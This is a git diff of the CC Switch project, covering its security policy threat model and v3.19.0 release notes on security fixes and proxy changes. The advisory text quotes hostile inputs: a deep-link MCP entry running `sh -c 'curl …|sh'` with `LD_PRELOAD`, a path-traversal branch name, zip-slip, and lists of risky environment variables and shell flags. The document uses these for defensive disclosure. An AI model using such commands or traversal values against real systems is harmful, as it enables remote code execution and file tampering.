<td>感谢 <a href="https://a6api.com/register?aff=AqNr">A6API</a> 赞助本项目!A6API 是一站式 AI 模型 API 聚合平台,覆盖 Claude、GPT、Gemini、Codex 等主流模型,支持多商家入驻供货,同一个模型可由多个上游商家竞争报价。平台通过智能路由自动优选更稳定、更低价的可用线路,并支持失败自动切换,帮助用户减少请求失败、降低调用成本、提升使用稳定性。无论你是开发者、AI 产品团队还是工作室,都可以通过统一接口快速接入,兼容所有格式,迁移成本低,使用更省心。新用户通过 <a href="https://a6api.com/register?aff=AqNr">此链接</a> 注册即可获得免费体验额度,先试再用,低价开用。</td>
</tr>
<tr>
<td width="180"><a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch"><img src="assets/partners/logos/atlascloud_banner.png" alt="Atlas Cloud" width="150"></a></td>
<td>Atlas Cloud 是一个全模态 AI 推理平台,通过单一 API 为开发者提供视频生成、图像生成及 LLM 接入。免去繁琐的多供应商对接,一次连接即可调用 300+ 款全模态精选模型。立即查看 Atlas Cloud 全新<a href="https://www.atlascloud.ai/coding-plan?utm_source=github&utm_campaign=cc-switch">“编程计划”</a>优惠,获取更具性价比的 API 接入!</td>
+103 -1
View File
@@ -11,6 +11,93 @@ Only the latest release of CC Switch receives security updates.
| Latest 3.x | ✅ Yes / 是 |
| < 3.0 | ❌ No / 否 |
## Threat Model / 威胁模型
CC Switch is a local desktop application. It manages configuration files for AI coding CLIs on the user's own machine. There is no project-operated cloud backend, no multi-user model, and no privilege separation from the user who runs it.
CC Switch 是一个本地桌面应用,用于管理本机上各 AI 编程 CLI 的配置文件。本项目不运营任何云端后端,没有多用户模型,也不与运行它的用户之间存在权限隔离。
It does, however, run a **local HTTP proxy** whose listen address and port are user-configurable and **may be bound to a non-loopback interface**. Requests arriving at that listener are untrusted input and are in scope — see Scope below.
但它会启动一个**本地 HTTP 代理**,其监听地址与端口可由用户配置,**可能绑定到非 loopback 接口**。抵达该监听端口的请求属于不可信输入,在范围内——见下方「范围」。
### The bundled renderer is inside the trust boundary / 打包的渲染进程属于信任边界之内
The bundled WebView renderer is treated as a trusted component. This is a **scoping decision, supported by the facts below rather than derived from them** — the facts are what make the decision checkable, and if any ceases to hold the decision must be revisited. Verified against v3.18.0:
打包的 WebView 渲染进程被视为可信组件。这是一项**范围划定决策,由下列事实支撑,而非从中必然推出**——这些事实的作用是让该决策可被核验;一旦任一条不再成立,该决策必须重新评估。已针对 v3.18.0 核实:
1. **No remote executable content is loaded.** `frontendDist` is bundled at build time (`src-tauri/tauri.conf.json`); the codebase contains no `<iframe>`, no `<webview>`, and no remote script or stylesheet URL. The application *does* retrieve remote **data** — model pricing JSON and provider avatars — which CSP permits via `connect-src`/`img-src`; such data is treated as untrusted input, not as content.
前端资源在构建期打包,代码库中不存在 `<iframe>``<webview>` 或远程脚本/样式地址。应用**确实**会获取远程**数据**(模型定价 JSON、供应商头像),CSP 经 `connect-src`/`img-src` 允许之;此类数据按不可信输入对待,不作为内容。
2. **CSP restricts script execution to bundled assets**`script-src 'self'` (`src-tauri/tauri.conf.json`).
CSP 将脚本执行限制在打包资源内。
3. **No dynamic code evaluation.** There is no `eval()` or `new Function()` anywhere under `src/`.
`src/` 下不存在 `eval()``new Function()`
4. **The single HTML sink never receives user-controlled content.** `src/components/ProviderIcon.tsx` uses `dangerouslySetInnerHTML` exactly once; the user-supplied `icon` field is used **solely as a lookup key** into a build-time icon table, never as content.
全库唯一的 `dangerouslySetInnerHTML` 位于 `src/components/ProviderIcon.tsx`;用户提供的 `icon` 字段**仅作为查表的键**用于构建期图标表,永不作为内容。
**What this excludes — and what it does not.** Out of scope: reports whose only path to the IPC surface is **direct invocation from DevTools or from a locally modified frontend**. Someone in that position controls the machine already.
**它排除什么、不排除什么。** 不在范围内的是:抵达 IPC 接口的**唯一途径**为**从 DevTools 或本地改造过的前端直接调用**的报告。处于该位置的人已经控制了这台机器。
**Still in scope:** any complete, demonstrable chain in which an *untrusted* source — a `ccswitch://` deep link, a remote sync payload, remote data, an inbound proxy request, or an XSS — reaches a high-privilege IPC command. The trust placed in the renderer covers the code we ship, not arbitrary values that flow through it.
**仍在范围内**:任何完整、可演示的利用链,其中**不可信来源**——`ccswitch://` deeplink、远程同步载荷、远程数据、代理入站请求或 XSS——抵达高权限 IPC 命令。对渲染进程的信任覆盖的是我们发布的代码,而非流经其中的任意值。
### Invalidation triggers / 声明失效条件
The scoping decision above is void the moment any of the following becomes true. Reports demonstrating any of these are **always in scope**, and we ask to be told about them:
一旦下列任一条件成立,上述范围划定立即作废。证明下列任一情形的报告**始终在范围内**,也欢迎报告:
- Remote **executable or navigable** content is loaded into the WebView — iframe, webview, remote script, remote stylesheet, or navigation to a remote origin
远程**可执行或可导航**内容被载入 WebView——iframe、webview、远程脚本、远程样式表,或导航至远程源
- `script-src` is relaxed beyond `'self'`
`script-src` 被放宽到 `'self'` 之外
- `eval()` or `new Function()` is introduced
引入 `eval()``new Function()`
- Any user-controlled string reaches an HTML sink as content
任何用户可控字符串作为内容进入 HTML sink
- The IPC surface is exposed to a non-bundled origin
IPC 接口暴露给非打包来源
## Scope / 范围
### In scope / 在范围内
Inputs that genuinely cross a trust boundary:
真正跨越信任边界的输入:
- `ccswitch://` deep link payloads / deeplink 载荷(由第三方构造,经浏览器抵达)
- **Inbound requests to the local HTTP proxy**, including from other hosts when it is configured to bind a non-loopback address / **抵达本地 HTTP 代理的入站请求**,包括配置为绑定非 loopback 地址时来自其他主机的请求
- Remote sync payloads restored from WebDAV / S3 / 从 WebDAV、S3 还原的同步数据
- Imported files: SQL import/export, provider and MCP config import / 导入文件:SQL 导入导出、供应商与 MCP 配置导入
- Upstream API responses processed by the local proxy (`src-tauri/src/proxy/`) / 本地代理处理的上游 API 响应
- Remote data rendered or acted upon by the renderer (model pricing, avatars) / 渲染进程展示或据以行动的远程数据(模型定价、头像)
- Live config files on disk that a third party can write / 磁盘上可被第三方写入的 live 配置文件
- Any path by which credentials (API keys, tokens) reach logs, telemetry, or shared config snippets / 凭据(API Key、令牌)进入日志、遥测或共享配置片段的任何路径
- The build, release, signing and updater pipeline / 构建、发布、签名与更新链路
### Out of scope / 不在范围内
- Findings whose only path to the IPC surface is direct invocation from DevTools or a locally modified frontend — see Threat Model
抵达 IPC 接口的唯一途径为从 DevTools 或本地改造过的前端直接调用的问题——见威胁模型
- **Ordinary file operations the user directs.** Reading or writing a file whose path *and* content the user chose through the local UI, with no untrusted input participating.
**用户主动指示的常规文件操作。** 读写路径**与**内容均由用户经本地界面选定、且无不可信输入参与的文件。
→ Not excluded: cases where a deep link, sync payload, proxy request or other untrusted source controls the path or the content. Having the same filesystem permissions as the user does not make it the user's decision — that is a confused-deputy attack and is **in scope**.
→ 不属豁免:路径或内容由 deeplink、同步载荷、代理请求等不可信来源控制的情形。攻击者与用户拥有相同的文件系统权限,并不等于该操作出自用户的决定——那是 confused deputy 攻击,**在范围内**。
- **User-authored integrations executing by design.** MCP servers, terminal launch and usage scripts run commands because that is their purpose. Where the user typed the command themselves and enabled it themselves, execution is the feature, not the bug.
**用户亲手编写的集成按设计执行命令。** MCP server、终端启动、用量脚本执行命令是其本职。命令由用户自己输入、并由用户自己启用时,执行本身是功能而非缺陷。
→ Not excluded: the same integrations when they **arrive through import or a deep link**. There the required security property is *informed consent*, and the following are **in scope**: the command, arguments, environment or script body being hidden, truncated or misrepresented in the confirmation UI; and any integration carrying executable content being enabled without an explicit user decision.
→ 不属豁免:同样的集成**经导入或 deeplink 抵达**时。此时所要求的安全属性是**知情同意**,下列情形**在范围内**:确认界面隐藏、截断或错误展示命令、参数、环境变量或脚本正文;以及任何携带可执行内容的集成在缺少用户明确决定的情况下被启用。
- Denial of service against the user's own local instance
针对用户自己本地实例的拒绝服务
- Automated scanner output without a demonstrated exploitation path on a currently supported release
未在受支持版本上给出可行利用路径的自动化扫描结果
- Findings against unsupported versions — see Supported Versions
针对不受支持版本的问题——见支持的版本
## Reporting a Vulnerability / 报告漏洞
**Please do NOT report security vulnerabilities through public GitHub issues.**
@@ -26,10 +113,15 @@ When reporting, please include:
报告时请包含以下信息:
- A description of the vulnerability / 漏洞描述
- Steps to reproduce / 复现步骤
- **The untrusted source of the input, and the full data path from that source to the affected code** / **输入的不可信来源,以及从该来源到相关代码的完整数据路径**
- Steps to reproduce against a currently supported release / 在受支持版本上的复现步骤
- Potential impact / 潜在影响
- Affected versions / 受影响版本
The data path matters more than the sink. We assess severity by **who controls the input**, not by which API the value eventually reaches — the same function call can be critical or harmless depending entirely on where its argument came from.
数据路径比 sink 更重要。我们按**谁能控制输入**来评估严重度,而非按该值最终抵达哪个 API——同一处调用是严重还是无害,完全取决于其参数的来源。
## Response Timeline / 响应时间
- **Acknowledgment / 确认**: within 48 hours / 48 小时内
@@ -51,6 +143,16 @@ Reporters will be credited in the release notes unless they prefer to remain ano
除非报告者希望匿名,否则将在发布说明中致谢。
### CVE identifiers / CVE 编号
For eligible vulnerabilities, the maintainer may request a CVE ID through a GitHub Security Advisory once a fix is available. Being in scope for this policy and meeting GitHub's CVE eligibility criteria are separate questions, and the second is decided by GitHub as CNA, not by this project.
对于符合条件的漏洞,维护者可在修复就绪后通过 GitHub 安全公告申请 CVE 编号。「属于本策略范围」与「符合 GitHub 的 CVE 分配条件」是两个不同的问题,后者由作为 CNA 的 GitHub 判定,而非本项目。
Severity is scored with CVSS (v3.1 or v4.0), and the vector will reflect any required user interaction or prior local access.
严重度采用 CVSS(v3.1 或 v4.0)评分,向量将如实反映所需的用户交互或前置本地访问条件。
## Security Updates / 安全更新
Security fixes are released as patch versions and announced via [GitHub Releases](https://github.com/farion1231/cc-switch/releases). We recommend always updating to the latest version.
Binary file not shown.

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 149 KiB

+353
View File
@@ -0,0 +1,353 @@
# CC Switch v3.19.0
> The through-line of this release is **peace of mind**: a concentrated wave of security hardening — Skill installation, `ccswitch://` import confirmations, SQL backup imports, common-config merging, and terminal launching are all tightened, and two of those items are worth a minute of your attention — the Gemini common-config credential leak is fixed and scrubbed automatically after upgrading (**you need to rotate your keys**), and the `ccswitch://` MCP import confirmation could previously fail to show the command it was about to write (**if you have ever opened an import link of unknown origin, it is worth a check**); both are covered under "Upgrade Notes". Alongside them is one major proxy correctness fix — **reading images through the proxy no longer blows up your context** (a single screenshot used to eat 100,000+ tokens, and two or three were enough to jam a Codex session on 400s). The convenience side is just as substantial: **model pricing can be handed over to models.dev to maintain automatically**, usage from Grok CLI's official login mode and the SuperGrok subscription balance finally reach the dashboard, and **in-app updates now go through the `dl.ccswitch.io` mirror** — so upgrading works even when GitHub is hard to reach.
**[中文版 →](v3.19.0-zh.md) | [日本語版 →](v3.19.0-ja.md)**
---
## Highlights: What You Can Do Now
- **Read images through the proxy without blowing up your context**: with Codex's `view_image` or any MCP tool that returns images, the image used to be serialized into tool text and token-counted as plain text (roughly 9,000× inflation); now every conversion bridge restores images to their native format before sending them upstream (files and audio are supported on the two Chat bridges as well). In a real test the same replayed turn dropped from 85k+ tokens to about 12k, with a 99% cache hit rate.
- **Hand model pricing over to models.dev**: the usage panel gains "models.dev Automatic Pricing Sync" (off by default). Once enabled, the prices of the models you selected refresh automatically at startup (at most once every 6 hours); you can pick which models to track from the full catalog, or let it automatically include each vendor's latest commonly used models. From this release on, manual price edits and deletions are recorded in `~/.cc-switch/model-pricing.json`, so they survive a database rebuild.
- **See usage and subscription balance for Grok's official mode**: when Grok CLI signs in with official OAuth it cannot go through the local proxy, so that consumption was previously entirely invisible; now per-turn usage is imported from the session logs and presented in the dashboard as "Grok Build (Session)". Grok Build provider cards in the official category also show the SuperGrok subscription's quota usage and reset time directly.
- **Open `ccswitch://` import links with more confidence**: the confirmation now shows the command, every argument, the URL, and the environment variables in full (credential-shaped values are shown masked), and highlights the values worth a second look — inline shell execution, environment variables that change loading behavior, intranet / metadata addresses; usage-query scripts show their complete code and are **imported disabled by default**.
- **Confirm that your Gemini providers no longer carry somebody else's key**: the common-config shared snippet used to copy credentials such as `GOOGLE_API_KEY` into every Gemini provider that used it; this release closes that path, and the first launch after upgrading performs a one-time scrub automatically. **Any key that ever entered the shared Gemini snippet should be treated as exposed — rotate it before re-entering it** (see "Upgrade Notes").
- **Keep updating the app when GitHub is hard to reach**: the in-app updater queries `https://dl.ccswitch.io/latest.json` (a Cloudflare R2 mirror) first, with GitHub as the fallback; minisign signature verification is unchanged, and the mirror itself is never trusted.
- **Use the latest models straight away when creating a provider**: preset default models are upgraded to Claude Opus 5, GPT-5.6 Sol, and Gemini 3.6 Flash, with matching pricing seeded into the database; already-created providers are left as they are.
- **Import fork-dense Codex usage history faster**: each parent rollout file is parsed only once and shared across all of its fork points, so rebuilding fork-dense history speeds up noticeably, and the import results are byte-identical.
---
## Usage Guides
The new capabilities in this release land mainly in the usage panel and `ccswitch://` deep-link imports. The following docs are worth reading alongside it:
- **[Usage Statistics](../user-manual/en/4-proxy/4.4-usage.md)**: the usage dashboard's data sources and how the statistics are counted. This release adds models.dev automatic pricing sync and usage import for Grok's official mode.
- **[Deep-Link Import (ccswitch://)](../user-manual/en/5-faq/5.3-deeplink.md)**: what each field in the import confirmation means, and the default values of parameters such as `usageEnabled` (from this release on, usage scripts are imported disabled by default, and the docs have been corrected to match).
- **[Security Policy (SECURITY.md)](../../SECURITY.md)**: this release fills in the threat model and reporting scope — which inputs are treated as untrusted and which issues are welcome, at a glance.
---
> [!WARNING]
>
> ## Only Official Channels (Please Read)
>
> CC Switch is a **fully free and open-source** desktop app, and we **do not charge users any fees**. Please only obtain the software through the official channels listed below:
>
> | Channel | Only Official |
> | ------------------ | ------------------------------------------------------------------------------ |
> | Website | **[ccswitch.io](https://ccswitch.io)** |
> | Source | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** |
> | Downloads | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** |
> | Author | **[@farion1231](https://github.com/farion1231)** |
> | Report an Imposter | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** |
>
> **Any "CC Switch" website or client that asks you for payment, top-ups, or login credentials is fake.** If you have been tricked into paying, stop the transaction immediately and file a report through GitHub Issues.
---
## Overview
CC Switch v3.19.0 is led by a wave of security hardening and one major proxy correctness fix. On the security side ([#5811](https://github.com/farion1231/cc-switch/pull/5811) plus follow-up standalone fixes): installing Skills from a GitHub repository is hardened against zip-slip and path traversal and given archive limits; the Gemini common-config credential leak is closed, and the first launch after upgrading performs a one-time scrub that cleans out keys already leaked into other providers' configs; importing a SQL backup now executes under a SQLite authorizer, and statements that can reach outside the importing database — `ATTACH` among them — are rejected outright; common-config snippet merging no longer follows `__proto__` into the global prototype; external terminal launching switches to POSIX single-quote escaping, so a directory name can never inject a command again; and the `ccswitch://` import confirmation displays the payload in full (credential-shaped values masked) and flags risky values, with usage scripts imported disabled by default. On the proxy side, images in tool results are no longer serialized into tool text but restored as native media on each conversion bridge (files and audio are supported on the two Chat bridges as well) — ending the "one 113 KB screenshot eats 100,000+ tokens, two or three images jam the Codex session on 400s" problem ([#4465](https://github.com/farion1231/cc-switch/issues/4465), [#5663](https://github.com/farion1231/cc-switch/issues/5663)).
Usage statistics gain two new capabilities: **models.dev automatic pricing sync** (opt-in, [#5734](https://github.com/farion1231/cc-switch/pull/5734)), together with persisting manual price edits / deletions to the human-editable `~/.cc-switch/model-pricing.json`; and **usage import for Grok CLI's official OAuth mode** — traffic that cannot go through the local proxy and was previously entirely invisible — plus a SuperGrok subscription quota display on the provider card. Around distribution and experience: in-app updates prefer the Cloudflare R2 mirror at `dl.ccswitch.io` (GitHub as fallback, signature verification unchanged); Codex usage import reuses an already-parsed parent rollout timeline for forked sessions ([#5626](https://github.com/farion1231/cc-switch/pull/5626)); preset default models move up to Claude Opus 5, GPT-5.6 Sol, and Gemini 3.6 Flash; the OpenClaw Kimi For Coding preset's base URL is corrected; and the toolbar app switcher becomes icon-only. This release has **no database schema migration**, so upgrading is lightweight.
**Release date**: 2026-07-30
**Stats**: 38 commits | 132 files changed | +14,926 / -1,415 lines
---
## Added
### models.dev Automatic Pricing Sync
The pricing area of the usage panel gains a "models.dev Automatic Pricing Sync" card, **off by default and enabled manually**: turning it on shows a confirmation explaining that CC Switch will refresh the prices of the selected models from models.dev at startup (at most once every 6 hours), and that **both the built-in price and a hand-set price for a matching model will be overwritten**. The "Select Models" dialog offers the full models.dev catalog (searchable and filterable), plus an "automatically include common models" option covering the recently released models from Claude, GPT, Gemini, Grok, DeepSeek, Qwen, MiMo, LongCat, Kimi, MiniMax, and GLM (at most 6 per family, each individually excludable). The card shows the last sync time and any errors, offers "Sync Now", and can open or reload the local pricing file.
From this release on, manual price edits and deletions are also recorded in `~/.cc-switch/model-pricing.json`, a human-editable file sitting next to the database, and replayed on every startup — hand-set pricing no longer disappears after a database rebuild, and a deleted built-in price finally stays deleted (recorded as a tombstone rather than being re-seeded). Note that the file **starts empty and is deliberately not back-filled from the existing pricing table** (otherwise built-in prices would all be written in as overrides, blocking future built-in price corrections), so edits made before the upgrade still live only in the database — re-save one and it enters the file. When a sync genuinely changes a price, historical usage rows whose cost was **never computed** (zero or missing) are recalculated at the new price — rows that already have a cost keep their original values; a failed fetch or being offline never blocks startup. The models.dev list also filters out non-text and deprecated models (audio / image / video / embedding, and so on), which tidies up the manual price-selection dialog along the way. ([#5734](https://github.com/farion1231/cc-switch/pull/5734))
### Grok Official Mode Usage Finally Reaches the Dashboard
When Grok CLI signs in with official OAuth it cannot be routed through the local proxy — Grok uses an empty config as the mode switch, so there is nowhere to point it at CC Switch — and that consumption was previously entirely invisible in the usage dashboard. CC Switch now imports per-turn usage alongside the regular session-log sync, reading `turn_completed` events from `updates.jsonl` under `~/.grok/sessions` (archived sessions included): cost prefers the exact figure the CLI reports itself, falling back to local pricing when that is missing (the built-in pricing table gains `grok-4.5-build` at $2 input / $6 output / $0.30 cache read, per million tokens). Imported rows are keyed on the upstream per-turn ID, so a rolled-back session cannot cause double counting; a settling window plus a recent-proxy-activity check ensures the same traffic is not counted twice when routed and official modes are mixed. New rows appear in the dashboard under the provider name "Grok Build (Session)", the app filter gains a Grok Build option, and the data-source breakdown gains a "Grok Build Session" entry with its own icon — all four locales included.
### SuperGrok Subscription Quota on Provider Cards
Grok Build providers in the "official" category now show SuperGrok subscription usage directly on the card, alongside the official-subscription footers for Claude Code / Codex / Gemini: CC Switch reads Grok CLI's own OAuth credentials (`~/.grok/auth.json`) and queries grok.com's billing endpoint for the quota window's used percentage and reset time; when the reset interval is recognizable it is labeled "weekly" or "monthly", otherwise it falls into a new "Credits" tier (rendered as the `c` group in the tray usage summary). A transient network failure keeps the previous reading and retries rather than clearing the footer; an expired token prompts you to run `grok login` again. Managed xAI OAuth (SuperGrok) providers in Claude Code, Claude Desktop, and Codex automatically get the same quota display — the data comes from the account bound to that provider, and the usage-script entry is hidden accordingly. Note that whether a Grok Build provider counts as "official" is now decided purely by the `category` field, with no probing of config contents.
### Claude Opus 5 Built-In Pricing
`claude-opus-5` joins the built-in pricing table at $5 input / $25 output, $0.50 cache read / $6.25 cache write (per million tokens), so its usage no longer shows $0. It is seeded insert-if-absent, so edited prices are unaffected (Opus 5 fast mode bills separately and is deliberately left out of the table).
### Preset Catalog Updates
A6API (an aggregation platform that automatically picks the best of several upstreams for the same model) joins the sponsor presets across eight apps; the PackyCode preset gains three backup addresses on the five preset types that support backup endpoints (Claude Code / Claude Desktop / Codex / Gemini CLI / Grok Build), selectable in the endpoint manager and the speed test; the AICoding partner preset returns across seven apps; and sponsor ordering is realigned with the README.
---
## Changed
### Preset Default Models Upgraded: Claude Opus 5, GPT-5.6 Sol, Gemini 3.6 Flash
The built-in presets' default models are all on the current generation now: `claude-opus-5` replaces `claude-opus-4-8` (all three naming forms covered), `gpt-5.6-sol` replaces `gpt-5.5` and bare `gpt-5.6`, and `gemini-3.6-flash` replaces `gemini-3.5-flash`. Every mirrored location was updated in sync — universal / NewAPI defaults, the Codex custom `config.toml` template, recommendation lists, form placeholders, and copy in all four locales; `gemini-3.6-flash` pricing is seeded into the database at the same time ($1.50 / $7.50, $0.15 cache read, per million tokens). The Code0 and Qiniu Gemini presets, still pinned to `gemini-3.1-pro-preview`, are aligned to 3.6 Flash as well — this is a **deliberate tier change**: 3.6 has no Pro version, and 3.5 Pro is still restricted to partner testing. **Defaults only affect newly created providers**; saved providers keep the model they were created with. Claude Desktop's opus route advances to `claude-opus-5`, with `claude-opus-4-8` moving into the compatibility-alias slot, so existing configs still resolve as before.
### In-App Updates Now Go Through the ccswitch.io Mirror
The updater now queries `https://dl.ccswitch.io/latest.json` first — a Cloudflare R2 mirror of the release manifest — with GitHub Releases as the fallback, so checking for and downloading updates no longer depends on GitHub being reachable. The mirror manifest points every platform's download at the same bucket, while the minisign signatures stay exactly as they were: a signature covers file content, not the URL, and every downloaded artifact is still verified against the built-in public key, so **the mirror itself is never trusted**. Publishing is handled by a release-gated sync workflow that only rewrites the root manifest when the tag really is GitHub's `releases/latest`, so the mirror can never push users back to an older version.
### Codex Usage Import: Faster on Forked Sessions
Importing and rebuilding Codex usage statistics no longer re-reads the same parent rollout file once per fork point: each parent `~/.codex/sessions/*.jsonl` is parsed only once into an in-memory token timeline shared by every child session forked from it, and each child's cutoff becomes an in-memory filter instead. The cache is validated by a file identity stamp (modification time, size, plus device/inode on Unix or volume serial number + file ID on Windows), so a parent file that was appended to, rotated, or replaced is re-read rather than served stale. How much faster it gets depends on fork density: fork-dense history sheds a great deal of redundant parsing, while fork-sparse history is essentially unchanged — and in both cases the import results are byte-identical. ([#5626](https://github.com/farion1231/cc-switch/pull/5626))
### Toolbar App Switcher Becomes Icon-Only
The switcher buttons no longer render a text label next to the icon — with the managed apps grown to eight, the labels were already being collapsed by overflow detection almost all the time, so the ResizeObserver-based auto-compaction was removed and only the icons are shown. App names remain in the hover tooltip, and screen readers still reach them through `aria-label`.
### Sponsor Domains and Referral Links Refreshed
Several sponsors migrated domains, and preset addresses, backup endpoints, referral links, and README rows have been updated to match (PackyCode → `www.packyapi.ai`, RightCode → `www.rightapi.ai`, ClaudeAPI → `www.apito.ai`, APINebula → `apinebula.ai`, AICodeMirror → `.ai`, AICoding → `.inc`, AIGoCode → `.app`), along with the removal of two backup endpoints that had gone dead. **Already-created providers keep the old address stored in the database** — to move to the new domain, edit the address by hand or recreate the provider from the refreshed preset.
---
## Fixed
### Reading Images Through the Proxy No Longer Blows Up the Context
When a client read an image through a tool call — Codex's `view_image`, or any MCP tool that returns images — the proxy's protocol conversion serialized the entire image block into the tool message's text, and the upstream token-counted the base64 as plain text: roughly 9,000× inflation, with a 113 KB PNG working out to 100,000+ prompt tokens; Codex replays the whole history every turn, so two or three screenshots were enough to push the session out of the context window and jam it on repeated 400s ([#4465](https://github.com/farion1231/cc-switch/issues/4465), [#5663](https://github.com/farion1231/cc-switch/issues/5663)).
The proxy now lifts media payloads out of tool results and re-sends them in each bridge's native format — **images are covered on every bridge; files and audio apply wherever the target protocol supports them**: the two Chat bridges (Claude→Chat, Codex Responses→Chat) carry images / files / audio, leaving a short marker in the tool message with the media following the tool batch as a synthetic user message; Claude→Responses restores native `input_image`; Codex / GrokBuild→Anthropic rebuilds standard Anthropic image blocks; and Claude→Gemini uses multimodal `functionResponse.parts` on Gemini 3 (`inlineData` on older models), accepting inline base64 images only. Detection covers typed Responses blocks, Anthropic `source` blocks, MCP `data`+`mimeType` results, and whole image data URLs, and sees through arrays and nested `content` wrappers (including JSON-encoded tool output); once an output is judged to contain media, any data URLs and bare base64 left in it are collapsed into placeholders — **bare base64 on its own never triggers media detection**, and ordinary tool output is left exactly as it was. Tool results without media stay byte-identical to before on every bridge, so prompt-cache prefixes are unaffected; the media blocks sent upstream deliberately carry no `cache_control` marker, so strict upstreams such as GLM and Qwen do not reject them. Measured end to end against Kimi K3: the same replayed turn settles at about 12k input tokens with a 99% cache hit rate, where each replay previously had to carry 85k+ of base64 text.
### "Unsupported Image Fallback" Now Sees Images Inside Tool Results
The "unsupported image fallback" setting replaces image blocks with a placeholder marker when a provider is text-only or the upstream rejects images, but it could previously only see images that were still structured blocks — tool-result images already flattened into base64 text were invisible to it, so a text-only upstream simply failed with no way to recover. The media scrubber now symmetrically detects and strips media inside tool output on every path, so both the strip-before-sending route and the retry-after-rejection route can rescue such turns. Because that detection now also reaches into tool results, a regression test pins down that the reactive retry still fires only on genuine modality rejections — a context-length 400 is not mistaken for an image rejection and retried.
### Grok Build Cost Backfill No Longer Overestimates
The routine that backfills missing costs previously treated only Codex and Gemini as providers whose reported input tokens already include cache reads, while Grok Build follows the same convention — so backfilled Grok Build rows were priced on the full input and then charged for the cache read a second time, inflating the cost. The set of cache-inclusive providers is now defined in exactly one place, shared by the route logger, the cost calculator, and the backfill routine, so the three can no longer disagree. Note that rows already touched by the old backfill keep their values — the backfill only handles zero-cost rows and never rewrites an existing positive cost.
### Hand-Edited Config Files No Longer Crash the App or Swallow Your Edits
When `mcp_servers` exists in `~/.codex/config.toml` but is not a table (for example `mcp_servers = "x"`), MCP sync panicked mid-switch — and it happened after both the database and the live config had already been written, leaving a half-applied switch; a non-table value is now warned about and normalized to an empty table, with the same fix in the Codex and GrokBuild writers. The inline-table form (valid TOML) had mirror-image problems: MCP deletion silently did nothing while the UI reported success, and `base_url` edits were written to a level Codex never reads — both handled. An `opencode.json` whose root node or `provider` / `mcp` section is an array or scalar no longer panics; such files are rejected with an error instead of being rebuilt, so your own `model` and `theme` settings are not wiped out. ([#5811](https://github.com/farion1231/cc-switch/pull/5811))
### Proxy Conversion Survives Malformed Upstream Responses
Malformed data from an upstream gateway could previously take down the local proxy outright instead of producing an error: a non-object `message` or `content_block` in an Anthropic SSE stream, and a buffered response body that is a top-level JSON array or scalar (what a gateway that ignores `stream: true` returns), both hit a panicking indexed assignment; the stream now ends with a normal failure event. A malformed `content_block` header is additionally recovered as a text block — merely sanitizing it into an empty object stops the panic but leaves all the following content silently discarded, making the model look like it said nothing — and since the deltas after a bad header are usually intact, the common case now passes through, with a warning logged whenever the substitution happens. ([#5811](https://github.com/farion1231/cc-switch/pull/5811))
### OpenClaw's Kimi For Coding Address Corrected
The OpenClaw preset previously pointed at the general platform endpoint `https://api.kimi.com/v1`, which is not what the Kimi For Coding subscription uses, so coding-plan keys did not work. The address is corrected to `https://api.kimi.com/coding/v1`, with the form placeholder and default value updated to match. **Providers created from the old preset need to be pointed at the new address manually.**
---
## Security Hardening
Of the nine items in this section, **two need action from you**: rotating any key that entered the Gemini common config, and checking the MCP entries you once imported through `ccswitch://` — "Upgrade Notes" spells out how. The rest take effect on upgrade with nothing for you to do.
If you never open `ccswitch://` links sent to you by other people and have never used a shared Gemini common config, these nine items mostly mean "less can go wrong from here on"; if either of those two applies to you, **this release is worth upgrading to first**.
### The Gemini Common Config No Longer Leaks Keys, and Scrubs Automatically After Upgrading
The Gemini common-config extractor previously stripped only `GEMINI_API_KEY` and `GOOGLE_GEMINI_BASE_URL` from the shared snippet and copied every other `env` entry verbatim — but `GOOGLE_API_KEY` is a first-class Gemini credential, so one account's key (along with any other credential-looking entries) was deep-merged into every Gemini provider that used the common config and sent to that provider's base URL, which may well be a third-party relay. The extractor now skips every key that matches a credential pattern (the same matcher set as the Claude extractor), the frontend snippet validator is aligned with it, and a hand edit cannot push one back in either. Because a Gemini snippet is never re-extracted once it exists, the first launch after upgrading also performs a **one-time scrub**: leaked credentials are cleared from the snippet, from every provider they were merged into, and from `~/.gemini/.env` — matched on the key name **plus** an exact value match, so a provider's own same-named key with a different value is not caught up in it — while the env file's formatting and comments are preserved. See "Upgrade Notes" for the scrub's details and caveats. ([#5811](https://github.com/farion1231/cc-switch/pull/5811))
### Skill Repository Installation Hardened: Path Traversal and Archive Limits
Installing or browsing Skills from a GitHub repository could previously write outside the target directory: archive entries were joined onto the destination path without normalization, so a ZIP containing `..` could escape the extraction directory (zip-slip); and repository coordinates were never validated, so a branch name like `../../../releases/download/v1/evil` could redirect the download to an arbitrary release asset — while Skill repositories can be added through an untrusted `ccswitch://` deep link and are enabled by default, so merely opening the Skills panel is enough to trigger a download. Skill `directory` values coming from backup restores, sync snapshots, and "import from app" were likewise joined into paths without validation, so an uninstall could `remove_dir_all` outside the managed directory. Every landing point now validates the directory name, repository owner / name / branch are allowlisted at the single download choke point, extraction has hard limits (10,000 entries, 512 MB written, 128 MB downloaded, 4 KB symlink targets, with self-referential links rejected), and the new error messages ship in all four locales. ([#5811](https://github.com/farion1231/cc-switch/pull/5811))
### Deep-Link Import Confirmation: See Everything, Flag the Risks
The `ccswitch://` MCP import confirmation previously rendered only a single truncated `Command:` line and showed nothing of `args`, `url`, or `env` — a link carrying `command: "sh"` plus `args: ["-c", "curl …|sh"]` and an `LD_PRELOAD` environment variable displayed as nothing more than an innocuous `sh`, yet on confirmation it was written into each app's live MCP file. The confirmation now renders the command, every argument, the URL, and the environment variables line by line, wrapping instead of truncating, so nothing gets clipped out of sight (env values whose key name contains TOKEN / KEY / SECRET / PASSWORD are shown masked, as a prefix plus asterisks). Values worth a second look are highlighted and collected into a warning block: shell interpreters carrying an inline-execution flag (including combined forms such as `bash -lc`, `cmd /C`, and PowerShell's `-Command` abbreviations), environment variables that change process loading behavior (`LD_*`, `DYLD_*`, `NODE_OPTIONS`, `PYTHONPATH`, `PATH`, proxy variables, and so on), and endpoints pointing at loopback / intranet / cloud metadata addresses. Flagging is purely advisory and never blocks an import — a local Ollama endpoint is a perfectly ordinary thing to have. The provider confirmation gets the same treatment, and the "will be written to all specified apps immediately" warning is now shown unconditionally instead of being gated on link-controlled fields.
